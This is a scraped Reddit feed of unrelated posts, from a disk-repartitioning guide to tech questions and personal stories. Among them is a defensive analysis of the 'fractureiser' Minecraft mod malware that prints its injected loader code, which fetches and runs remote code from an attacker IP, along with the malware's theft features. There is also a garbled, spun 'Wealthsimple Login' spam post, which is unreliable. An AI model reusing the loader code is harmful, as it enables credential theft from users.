This took about 7 minutes and shrunk the filesystem from 50 GB down to 12.4 GB, without any free space inside the filesystem.
Now the filesystem is
3045809 blocks in size.
3. Move the filesystem data in-place further to the disk
This is the most important step which could and will irreversibly corrupt your filesystem if done incorrectly.
In order to create the partition table and additional EFI partition, we need to move the existing filesystem, which begins right from the very first sector of the local drive, somewhere further away, down the disk. I recommend moving it for 128MiB (134217728 byte) to the right. This is more than enough for the partition table and EFI partition, where the bootloader would be stored.
We'll need to install GNU ddrescue to the rescue environment:
# apt install gddrescue
GNU ddrescue allows to copy the data
backwards (in reverse, starting from the last block) which is very important in our case, as we're copying the data "from the left to the right" of the disk. Otherwise the data would be irrecoverably corrupted.
The syntax as follows:
ddrescue --reverse --size= --input-position=0 --output-position= --sector-size=512 --cluster-size=256 --same-file --force --ask /dev/vda /dev/vda
The filesystem size could be calculated as shown in the example above (multiply filesystem block count by 4096, the block size). I'm going to move the filesystem 134217728 bytes to the right. The command in my case is:
# ddrescue --reverse --size=12475633664 --input-position=0 --output-position=134217728 --sector-size=512 --cluster-size=256 --same-file --force --ask /dev/vda /dev/vda GNU ddrescue 1.23 About to copy 12475 MBytes from '/dev/vda' [UNKNOWN] (50000000000) to '/dev/vda' [UNKNOWN] (50000000000) Proceed (y/N)? y Press Ctrl-C to interrupt ipos: 8131 MB, non-trimmed: 0 B, current rate: 210 MB/s opos: 8265 MB, non-scraped: 0 B, average rate: 160 MB/s non-tried: 8131 MB, bad-sector: 0 B, error rate: 0 B/s rescued: 4343 MB, bad areas: 0, run time: 27s pct rescued: 34.81%, read errors: 0, remaining time: 51s time since last successful read: 0s Copying non-tried blocks... Pass 1 (backwards)
This took about 2 minutes.
Check that everything is fine by issuing:
# dd if=/dev/vda iflag=skip_bytes skip=134217728 file - /dev/stdin: Linux rev 1.0 ext4 filesystem data, UUID=1865917f-d4e9-4bcf-b624-de9dc97d0f20 (extents) (large files) (huge files)
4. Create GPT partition table, EFI and data partitions
Now we need to create the partition table and two partitions: one for EFI booting, another is for our moved filesystem.
Use cfdisk for that:
# cfdisk /dev/vda
Create GPT partition table, then 1 new partition of "260096s" size (260096 sectors) and set the type of it to "EFI system", then create another partition for the remaining of the disk.
You should see something like this:
Disk: /dev/vda Size: 46.6 GiB, 50000000000 bytes, 97656250 sectors Label: gpt, identifier: B6341233-F14A-334D-A2F7-74BE5649F848 Device Start End Sectors Size Type >> /dev/vda1 2048 262143 260096 127M EFI System /dev/vda2 262144 97656216 97394073 46.5G Linux filesystem
Make sure that start sector of /dev/vda2 is the same value as the amount you've moved your partition for. The sector size is 512 bytes in this case (and the block size of the filesystem is 4096).
262144 × 512 = 134217728
Press "write" to save your data on disk.
Now we'll mount our filesystem as partition, to make sure that everything was done correctly:
# mkdir m # mount /dev/vda2 m # ls m bin dev home initrd.img.old lib64 media opt root sbin sys usr vmlinuz boot etc initrd.img lib lost+found mnt proc run srv tmp var vmlinuz.old
It's time to create the EFI file system. It should be FAT32 (vfat):
# mkfs.vfat /dev/vda1 mkfs.fat 4.2 (2021-01-31)
5. Install the bootloader (GRUB) in UEFI mode
Installing the bootloader from the other system is always a bit tricky. For maximum compatibility, we'll install the original bootloader from Debian in chroot environment. First we need to mount /proc, /sys and /dev mount points from the host (rescue system) to our filesystem, and then chroot to it.
# mount /dev/vda2 ./m # mount --bind /proc ./m/proc # mount --bind /sys ./m/sys # mount --bind /dev ./m/dev # mkdir ./m/boot/efi # mount /dev/vda1 ./m/boot/efi # chroot m
In the chroot environment, execute the following:
# grub-install --removable --target=x86_64-efi # grub-install --target=x86_64-efi
Next we need to generate GRUB configuration file. This require some modifications for the Scaleway. Open /etc/default/grub and change GRUB_CMDLINE_LINUX_DEFAULT line to:
GRUB_CMDLINE_LINUX_DEFAULT="quiet console=tty1 console=ttyS0"
Execute configuration file generation:
# update-grub
This will copy all the needed files to our EFI partition and generate grub.cfg bootloader configuration file. Don't be scared of the "warning: Discarding improperly nested partition" messages, they are safe to skip. For non-Debian and non-Ubuntu OS you'll need to generate configuration file using grub-mkconfig, something like:
# grub-mkconfig -o /boot/grub/grub.cfg
6. Fill in fstab
Add the following lines in ./m/etc/fstab file, otherwise your root mount point would be read-only on the next boot:
/dev/vda2 / ext4 defaults 0 1 /dev/vda1 /boot/efi vfat defaults 0 2
And that's it! All is left is to exit the chroot and unmount the partitions:
# exit # exit from chroot # umount ./m/boot/efi # umount ./m/proc # umount ./m/sys # umount ./m/dev
Power off the machine
# poweroff
Go to Advanced Settings in the Scaleway panel, select "Local Boot" method, boot the machine.
If everything is done correctly, the machine should boot and be reachable from the network. If you can't reach it over SSH, open the console in the panel and debug it from there.
submitted by
ValdikSS to
Scaleway [link] [comments]
2023.06.07 19:09 Intrepid-Tank-3414 Severed rattlesnake head bites man who decapitated it
| According to KIII-TV in South Texas, Jennifer Sutcliffe and her husband were out doing yard work near Corpus Christi when they spotted a four-foot rattlesnake on their property. As any hot-blooded Texan would, her husband promptly grabbed a shovel and beheaded the snake. However, when he then bent down to dispose of the reptile, it retaliated -- or rather, its severed head did. It turns out snakes can still attack even an hour after they've been beheaded. Since their metabolisms are much slower than those of humans, their internal organs can stay alive for longer. And naturally, they become aggressive in the throes of death, when they perceive the situation as a last-ditch opportunity to survive. The weekend of May 27, Jennifer Sutcliffe's husband learned that the hard way. And because the snake's head was no longer connected to a body when it bit him, she told KIII-TV that it discharged the full load of its venom all at once. According to the station, the man immediately began having seizures, lost his vision and began experiencing internal bleeding. He reportedly had to be airlifted to the hospital. Once there, doctors administered massive amounts of the antivenom CroFab, but for the first 24 hours, they still weren't sure whether or not he'd make it. "A normal person who is going to get bit is going to get two to four doses of antivenom," Sutcliffe told KIII-TV. "He had to have 26 doses." More than a week later, the man is in stable condition, but still showing signs of weakened kidney function due to the shocking bite. After all the trauma he and his family have endured, one silver lining may be the spotlight he unknowingly shed on the issue of how best to handle a venomous snake. submitted by Intrepid-Tank-3414 to interestingasfuck [link] [comments] |
2023.06.07 19:06 cl0wn_w0rld Correct way to handle multiple viewers - multiple nvr?
Hi, I have several (5) Hikvision (and rebranded hikvision) NVRs in a building and up until recently if someone needed to check them they would login to the web interface and watch live and/or playback and download videos. This worked fine because it was rare it was even needed.
However, recently the need has come for more people to view the videos on a more regular basis, and at the same time. Nothing crazy, but maybe 2-3 people might need to monitor the same cameras. Even with the camera settings set to sane settings for their type (2048 - 15fps for 1080p cameras, some h264 but some are tvi) it's a lot of resourcess being used on the network and the computers. For example, it's impossible to watch 2 nvr at the same time, it uses way too high % of the cpu on lower end computers.
I do have 1 computer setup to watch multiple cameras using iVMS and it seems to work a little better, but not much.
What would be the correct/best way to handle this situation? I noticed iVMS has the ability to act as a central repository and then restream it out from the ivms server to all the viewers? Would that be better than everyone directly connecting to the NVRs using ivms? is iVMS even that much of an improvement on system resources/network usagee?
Also any other suggestions would be great.
Thanks
submitted by
cl0wn_w0rld to
Hikvision [link] [comments]
2023.06.07 18:50 marvelousmrs 3+ months and it still hurts (with pics)
I need to share my story because I don’t want to forget how amazing my love was for my kitty.
I adopted my first ever cat when I was 39 and she was 13. Her original owner passed away, and the family dropped her off at the animal shelter. I wasn’t even looking to adopt a pet, but I felt a connection the first time I saw her photo on the shelters Facebook page. I was grieving a loss of my own, and I thought we could comfort each other. I set up an appointment at the shelter and brought her home the very next day.
She was truly a blessing to me. I work from home, and we spent every day together. She’d wait for me at the top of the stairs every morning at 8 am, and we go down to my office together. She’d settle in on her bed, ready for a snooze, and I’d get to work. She had the cutest little snore sometimes when she’d sleep. And if I was working too late, she’d jump up on my desk and sit on the desk between the keyboard and monitor and look at me like “that’s enough work for today.”
She had some trouble breathing last July, and ended up at the emergency hospital (an hour from home). She responded to the treatment and was sent home with heart medication, and did very well after that!
Then, in September, she was having accidents all over the house. The internal medicine vet (also an hour away) found a tumor on her bladder. They didn’t think it was cancer due to the location, and said she was a good candidate for surgery. Except she needed an echocardiogram from a veterinary cardiologist to assess her ability to receive anesthesia for the procedure. The closest one was 2 1/2 hours away, and everyone I called was scheduling out at least four months. I kept calling. Finally, after about three weeks, I got her in to see a veterinary cardiologist… three hours away. So, we made the drive and got cleared for surgery. The procedure was in October, and it went well. Lab results said it was cancer, but the doctor said they got it all and didn’t expect it to come back.
Back for a routine checkup three months later, this past January. The tumor was back. And it was bigger than before. After everything she’d been through, the heart issues, the surgery…. and her age (she was 17 at this point), I didn’t want her to suffer or be in pain. My heart was broken.
Scheduled an appointment with the oncologist to discuss options. They said we could do pill medication, but given the aggressive nature of the cancer, they didn’t expect it to make much of a difference. In the end, I chose to do nothing. She was prescribed some pain medicine to make her more comfortable, and we went home.
I spent every spare moment with my sweet kitty. She got all the treats, all the belly rubs, all the pets, anything she wanted. We had another month together, and as she continued to decline, I knew it was time.
Because I’m in a rural area, there aren’t many options for at home euthanasia. Luckily, my local vet made an exception and came to our home for her final nap. I’m so thankful they did. My beautiful, perfect kitty passed peacefully in my arms.
Even though she was only with me 3 1/2 years and the last year was fraught with so many medical expenses, I have no regrets.
I’d choose to adopt her again in an instant.
We had the most special connection. She filled the hole my grief left, and I hope I did the same for her.
Losing her still hurts. It’s been 3 months. I keep her photo, paw print, and ashes on my desk, and I have a tiny glass container with some of her fur. It sounds creepy to keep your cats ashes on your desk, but I work from home and it brings me comfort. She was always right next to me. Every moment, she was right there. We have the most amazing memories, and I’ll forever be grateful for my first-ever kitty. She made me a bonafide cat lady. I’ll miss her forever.
Here are some pics:
https://imgur.com/a/acaWAV5 submitted by
marvelousmrs to
Petloss [link] [comments]
2023.06.07 18:42 uphold-log-in Wealthsimple Login Log in to Wealthsimple
Wealthsimple Login Log in to Wealthsimple
Wealthsimple, as you must have understood, is one of the stylish fiscal operation service providers available at the moment. Launched in the time 2014, the fashionability of this establishment is soaring high day by day. Just make sure that you’re following the correct procedure for subscribing up and logging in. Since the platform doesn’t charge you any kind of figure, thus anyone who fulfils the sign- up criteria will be suitable to use this platform. produce your
Wealthsimple Login profile now and start managing investing in stocks, EFTs, cryptos, and much further from a single destination without paying the commission figure.
WEALTHSIMPLE – GET YOUR HANDS ON THE Stylish INVESTMENT MANAGEMENT TOOL
Have you recently been investing in different means and now you’re looking for a way to manage all those investing platforms in one place? Well, if that’s the case with you, also
Wealthsimple has got you covered. As the name itself suggests, this Canadian establishment develops tools to advance a helping hand when it comes to managing the stocks, NFTs, cryptos, and EFTs possessed by you. Using the
Wealthsimple login gate, you can be involved in commission-free and hassle-free trading conditioning without having to do much. This virtual investment operation service makes it easy for you to manage your finances and gives you approachable results developed specifically to help druggies with wealth operation. Wealthsimple is a freshman-friendly platform that comes in suites similar as
Wealthsimple Trade, Robo- counsel Invest, etc. And, these tools and suites would give you the occasion to save further plutocrats, time, and trouble along with helping you achieve your fiscal pretensions without having to worry about security.
BENEFITS YOU CAN decide FROM WEALTHSIMPLE ACCOUNT LOGIN Those druggies who successfully subscribe up for an account on the
Wealthsimple platform can decide the following benefits from their accounts Creating an account on this platform is fully free of cost still, you can make an investment for an quantum as low as $ 1 If you want to try this platform .Its intuitive and easy- to- use platform allows newcomers to use its services much more efficiently The platform doesn’t charge you any figure for making deposits and recessions You can fluently suffer a quick and continued
Wealthsimple login It also is available in the form of a mobile app making it more accessible to use When it comes to security and client service, this platform is surely the stylish. What you need to register a
WealthSimple Login Account? Please allow us to help you in meeting the prerequisites for subscribing up A Canadian visa or substantiation of Canadian citizenship Current Canadian domestic address Satisfy the fiefdom’s age restriction Complete the identity verification. An streamlined Social Insurance Number( SIN) Following completion of the prerequisites, you must follow the way below to subscribe up for a
Wealth Simple login account and benefit from the benefits it offers How to produce an Account with
WealthSimple login Wealth Simple Steps to follow. launch by visiting the
Wealth Simple Login runner Add your particular details Full Name Date of Birth Phone Number Citizenship Domestic Address Mailing Address Employment Status Current Plant What Type of Company Is it part at Your Company Social Insurance Number Do These Statements Apply To You Section How Did You Hear About us? Confirm Details produce your portfolio by answering the following questions Are you allowing about withdrawal? What’s the main reason for investing What will your ménage income be this time? How important plutocrat do you have saved? What’s the value of property and other means you enjoy? What’s the value of your debts? How important do you know about investing? Do you have an idea of important threat you ’re willing to take? Choose a theme for your first account
3 types of portfolio options – reactionary, Balanced and Growth. Click “ Start with Portfolio ” and move to the coming step Click “ Continue ” once you get to the website creation runner. still, Click on “ No, I’ll start with a new
Wealth Simple login Account ” If you do n’t have another investment account with
WealthSimple.Choose the type of account you want to open, RRSP, or TFSA Click “ Fund this account ” Move to the coming step, and click on “ Make your first deposit ” Add your bank details to connect your bank with wealth simple Enter the deposit quantum details and click on “ Submit deposit ” Congratulations, you have successfully produce a new
Wealth Simple login account.
Final Content You must be apprehensive that
WealthSimple login is among the topmost providers of fiscal operation services available right now. Just be certain that you’re joining up and logging in according to the correct protocol.
submitted by
uphold-log-in to
u/uphold-log-in [link] [comments]
2023.06.07 18:33 ag55ful Starlink doesn't work nicely with Street Fighter 6
For clarification, this is in regards to the Steam PC copy of Street Fighter 6, using a Starlink connection in Australia.
It seems that because Starlink is behind a CGNAT, or double NAT, it doesn't allow the proper connections to be made to the SF6 servers, and therefore you cannot login. I got around it using a self-made VPN using an
oracle server I made ages back, and it now works perfectly.
Does anyone have any other ideas on how to permanently fix this issue rather than bypassing the problem with a VPN? It sucks that I have to reroute my connection through a VPN to play one game, and possibly have a sub-par connection relying on some shitty oracle VPN in the middle of my city. Should I just get another router and forward ports in that router?
submitted by
ag55ful to
StreetFighter [link] [comments]
2023.06.07 18:19 Traemandir Unattended remote access options for KDE Plasma?
Hi All,
New OpenSUSE Tumbleweed user here. I came from Fedora a month or two ago, and everything has been going great so far minus some trouble figuring out if unattended remote access (via VNC, RDP, XRDP, Other...?) is viable with KDE Plasma...
- I was reading through an article on the OpenSUSE documentation site titled "Remote Access with VNC". I did see the important note at the top of this page about SDDM not supporting the XDMCP protocol, but I wasn't able to get the display manager to change. I installed LightDM, then changed the default display manager with YaST using the instructions here. For some reason after rebooting, I would still get SDDM as the display manager??? The LightDM login screen would be displayed if I signed out, after signing on with SDDM. Stopping the sddm.service would result in a black screen on reboot, no LightDM. Running systemctl enable lightdm.service would return the error that the service was not found. Running update-alternatives --list would confirm that LightDM is set as the default display manager, even though I was still getting SDDM.
- I reverted my changes back and decided to try using VNC anyway. I enabled the service using YaST, and while I am able to connect successfully from a VNC client, I just get a black screen. Not sure if this is due to XDMCP not being supported by SDDM, or if it's because I'm logging on to a Wayland Plasma session. But I'm pretty sure I was able to do this with no problem on Fedora with SDDM and Plasma Desktop using TigerVNC?
Any advice would be appreciated! Not sure if I should focus on changing to a display manager that supports XDMCP, or if there is an easier alternative to have unattended VNC access with my Plasma desktop?
submitted by
Traemandir to
openSUSE [link] [comments]
2023.06.07 18:10 flawed_finch Strongbox won’t connect to the correct Dropbox
Hi,
I got a new iPhone and my partner and I share a keepass db that is hosted in his Dropbox. When I installed dropbox, I accidentally logged into my Dropbox acct instead of his and when I tried to use strongbox, I realized my mistake. My Dropbox app is now logged into my partner’s account.
Now every time I try to connect strongbox to Dropbox, it still automatically goes to my Dropbox instead of the one where the keepass db exists. I can’t find a way to make it ask me which Dropbox to use.
I’ve tried deleting and reinstalling strong box but it doesn’t even ask me to login or anything.
Is there anything I can do?
Thanks so much in advance!
submitted by
flawed_finch to
strongbox [link] [comments]
2023.06.07 18:00 Noonlineidrip [MALWARE WARNING] "fractureiser" malware in many popular Minecraft mods and modpacks
Current status
We have a good idea how fractureiser works, from stages 0 to 3. There are certain unknowns, but stage 0 bootstrapping was quickly nipped and tomorrow we’ll be moving our focus to mitigation. As a plan, we’ve contacted Mojang and will likely be working with teams to get detection software distributed and integrated into CurseForge and Modrinth, as well as considering integration in launchers like Prism, and mod loaders like Fabric and Forge. It is also worthwhile to run this detection software on mod distribution mavens, as it’s possible some have become infected.
Most of the current team responsible for updating this doc is tired and going to bed (as of 02:46a Pacific time). Others are continuing to reverse engineer stage 3.
Work has begun on a detector for infected stage0 mods:
https://github.com/MCRcortex/nekodetector If you have files relevant to this malware, please upload them to
https://wormhole.app and email the URL to [
[email protected]](mailto:
[email protected]) — this inbox is controlled by xylemlandmark, and anything sent to it will be shared with the rest of the team.
Please also let us know if you have the ability to download files from VirusTotal, as that would let us get ahold of many of the files we’re missing. We are looking especially for one lib.dll .
If you need to get in touch more generally, please send mail to [
[email protected]](mailto:
[email protected]).
If you copy portions of this document elsewhere,
please put a prominent link back to this HackMD page (
https://hackmd.io/@jaskarth4/B1gaTOaU2) somewhere near the top so that people can read the latest updates and get in contact.
Non-technical overview [READ ME!]
A number of Curseforge and
dev.bukkit.org (not the Bukkit software itself) accounts were compromised, and malicious software was injected into copies of many popular plugins and mods. Some of these malicious copies have been injected into popular modpacks including Better Minecraft.
There are reports of malicious plugin/mod JARs as early as mid-April. This malware is composed of multiple “stages”, each stage is responsible for downloading and running the next one. In total, there are three known stages (Stages 1, 2, and 3), with infected mod files serving as a “Stage 0” to kick the whole process off.
Stage 3 is the “mastermind” of the malware, and we have evidence that it attempts to do all of the following:
- Propagate itself to all jar files on the filesystem, possibly infecting mods that were not downloaded from CurseForge or BukkitDev
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials
(See
technical details for more info)
Because of its behavior, we are
very confident this is a
targeted attack against the modded Minecraft ecosystem. It’s quite bad.
Until further notice, exercise extreme caution with Minecraft mod downloads, regardless of origin. While the control server for this malware is currently offline,
any download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be treated as potentially malicious. This malware is unlikely to be detected by Windows Defender or similar antimalware products.
If you have downloaded any mods from Curseforge, or plugins from Bukkit, even through clients such as Prism Launcher or the official Curseforge launcher, it is recommended that you follow the “Am I infected?” guide below.
The affected accounts had two-factor authentication enabled. This is not a simple password compromise situation. Multiple accounts are affected.
Currently, we do not suspect other platforms such as Modrinth to be affected. At this point we cannot be confident claiming any hosting service is unaffected. Please exercise caution regardless of what site you use. Even Maven repositories may be infected, and this malware goes back months.
Right now, the malware is dormant due to the loss of its C&C server and the Stage0 (what was distributed via mods and modpacks) not having a way to get a new server. If you were infected with Stage2 (the file described below, dropped by Stage1 when C&C was up), then
the malware is still active. Am I infected?
You can check whether the malware ever ran on your computer, since Stage1 attempts to save Stage 2 at several unusual paths:
- Linux: ~/.config/.data/lib.jar
- Windows: %LOCALAPPDATA%\Microsoft Edge\libWebGL64.jar (or ~\AppData\Local\Microsoft Edge\libWebGL64.jar )
- Make sure to show hidden files when checking
- Yes, “Microsoft Edge” with a space. MicrosoftEdge is the legitimate directory used by actual Edge.
- Also check the registry for an entry at HKEY_CURRENT_USER:\Software\Microsoft\Windows\CurrentVersion\Run
- Or a shortcut in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
- All other OSes: Unaffected. The malware is hardcoded for Windows and Linux only. It is possible it will receive an update adding payloads for other OSes in the future.
There are scripts available
here which will help you check whether these files exist.
Before downloading, the malware will create the enclosing directory if it does not exist. Windows/MS Edge does not use the “Microsoft Edge”-with-a-space directory, and Linux software does not use ~/.config/.data , so these folders existing is a likely sign that Stage1 has executed on a victim computer.
If you find these files, you should delete them immediately, but consider
all JAR files on your system compromised, and potentially all logins on your web browser as well. Passwords should be changed.
Given a jar file, how do I know if it’s safe?
There are various heuristics you can use to determine whether a jar is infected with Stage 0.
Emi’s shell script
here simply checks for all usages of ClassLoader , which is uncommon in mod code. This can lead to false positives and negatives. For example, it falsely flags the latest Quark 1.19 file as infected when it is not.
Sylv’s shell script
here does a bit more fingerprint matching for the malware, and should be more precise.
As a non-technical user, your best course of action is to check if your system was affected using the above steps, remediating if necessary, and refraining from downloading anything from CurseForge or
dev.bukkit.org until further notice.
Technical info
Distribution
Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they
do not show on the web UI, only via the API. The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload. The fact Curse let these mods uploaded by a new account through is pretty bad and speaks to their now-nonexistent content moderation.
Known affected mods & plugins
mod/pluginlinkSHA1“Uploader” Skyblock Core[
www.curseforge.com]/minecraft/mc-mods/skyblock-core/files/4570565
33677CA0E4C565B1F34BAA74A79C09A3B690BF41
Luna Pixel Studios Dungeonz[
legacy.curseforge.com]/minecraft/mc-mods/dungeonx/files/4551100
2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B
fractureiser Haven Elytra[
dev.bukkit.org]/projects/havenelytra/files/4551105 [
legacy.curseforge.com]/minecraft/bukkit-plugins/havenelytra/files/4551105
284A4449E58868036B2BAFDFB5A210FD0480EF4A
fractureiser Vault Integrations[
www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590
0C6576BDC6D1B92D581C18F3A150905AD97FA080
simpleharvesting82 AutoBroadcast[
www.curseforge.com]/minecraft/mc-mods/autobroadcast/files/4567257
C55C3E9D6A4355F36B0710AB189D5131A290DF26
shyandlostboy81 Museum Curator Advanced[
www.curseforge.com]/minecraft/mc-mods/museum-curator-advanced/files/4553353
32536577D5BB074ABD493AD98DC12CCC86F30172
racefd16Vault Integrations Bug fix[
www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590
0C6576BDC6D1B92D581C18F3A150905AD97FA080
simplyharvesting82 Floating Damage[
dev.bukkit.org]/projects/floating-damage1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fcmamavergas3001Display Entity Editor[
www.curseforge.com]/minecraft/bukkit-plugins/display-entity-editofiles/4570122
A4B6385D1140C111549D95EAB25CB51922EEFBA2
santa_faust_2120
Darkhax sent this:
https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib
Stage0 (Infected mod jars)
Affected mods or plugins have a new static void method inserted into their main class, and a call to this method is inserted into that class’s static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53 and exists in net.dungeonz.DungeonzMain . For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180 and is inserted into com.bmc.coremod.BMCSkyblockCore . For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra .
The method’s code is obfuscated, using new String(new byte[]{...}) instead of string literals.
From Shadowex3’s sample of “Create Infernal Expansion Plus”, a copycat version of “Create Infernal Expansion Compat” with malware inserted into the main mod class:
static void _1685f49242dd46ef9c553d8af1a4e0bb() { Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/dl" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); }
This:
- Creates a URLClassLoader with the URL http://[85.217.144.130:8080]/dl (shodan)
- Loads the class Utility from the classloader, fetching code from the internet
- Calls the run method on Utility , passing a String argument different for each infected mod (!). E.g.
- Skyblock Core: “-74.-10.78.-106.12 ”
- Dungeonz: “114.-18.38.108.-100 ”
- HavenElytra: “-114.-18.38.108.-100 ”
- Vault Integrations: “-114.-18.38.108.-100 ”
The passed numerals are parsed as bytes by Stage1 and written to a file named “.ref”. They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads
we are presently aware of no longer function.
Stage1 (dl.jar)
SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled copy of Utility from the malware.
The very first thing Utility.run does is check if the system property neko.run is set. If it is, it will
immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods.
This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change. It attempts to contact 85.217.144.130 , and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip ). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can’t imagine they didn’t plan for this. Thank you Serverion for your prompt response.
Stage 1 then attempts to achieve persistence by doing the following:
- Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
- Making stage 2 run automatically on startup:
- On Linux, it tries placing systemd unit files in /etc/systemd/system or ~/.config/systemd/user
- The unit file it places in the user folder never works, because it tries using multi-user.target , which doesn’t exist for user units
- On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the Windows\Start Menu\Programs\Startup folder
Stage2 (lib.jar or libWebGL64.jar)
Known sha1 hashes:
- 52d08736543a240b0cbbbf2da03691ae525bb119
- 6ec85c8112c25abe4a71998eb32480d266408863 (Shadowex3’s earlier upload)
Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap .
TODO, describe the double wrapped behaviour.
Stage 2 downloads stage 3, client.jar , loads its code, and executes the start method located within dev.neko.nekoclient.Client .
Stage3 (client.jar)
sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll , decompiled:
https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c There are two native functions meant to be called from Java, as they are JNI callable:
- __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
- __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);
from analysis, these do what they say on the tin:
- read clipboard contents
- Steal Microsoft account credentials
There is also evidence of code attempting to do the following:
- Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit) and attempt to inject stage 0 into them
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials, from a variety of launchers
- Steal crypto wallets
Jars are heuristically detected as Minecraft mods or plugins as follows:
- Forge (dev/neko/e/e/e/A): The malware attempts to locate the u/Mod annotation, which is required in every mod
- Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit’s JavaPlugin class
- Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements ModInitializer
- Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee’s Plugin class
- Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class net.minecraft.client.main.Main exists
More details are available in the live stage-3 reversal doc:
https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ Other Stuff
The only official channel run by the same team that wrote this writeup is
#cfmalware on EsperNet IRC — we do not have a Discord. You may join the channel if you wish — due to an influx of new users we’ve set the channel +m, you will need permission to speak.
Joining an IRC channel will expose your IP address. IRC logs: TODO
The main payload server
is was (got taken down) hosted on Serverion, a company based in the Netherlands.
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130 :
- 1337
- 1338 (a port referenced in stage 1’s file for creating new Debugger connection)
- 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
- 8082 (nobody’s gotten anything out of this one, not referenced in any malicious code)
- 8083 (contacted by stage 1)
Curiously, fractureiser’s bukkit page says “Last active Sat, Jan, 1 2000 00:00:00”
https://dev.bukkit.org/members/fractureiseprojects/ Follow-Ups
While it’s a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.
- Review at mod repositories is inadequate What exactly does CurseForge and Modrinth do when “reviewing” a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
- A lack of code signing for mods Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts. However, this then leads to the greater issue of how to derive key trust, as the fact that “this jar has this signature” has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
- A lack of reproducible builds Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. A random Gradle plugin being a future attack vector is not out of the question.
- Lack of sandboxing of Minecraft itself Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.
Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.
Credits
Nonextensive! Thank you to all that pitched in. We’ll flesh this out after this all blows over.
Shadowex3: Extensive reverse engineering, early discovery learned of later
Nia: Extensive stage 3 reverse engineering
Jasmine: Coordination, writing the decompiler we’ve been using (Quiltflower)
Emi: Coordination, initial discovery (for this team), and early research
williewillus: Coordination, journalist
quat: Documentation, initial infected sample research
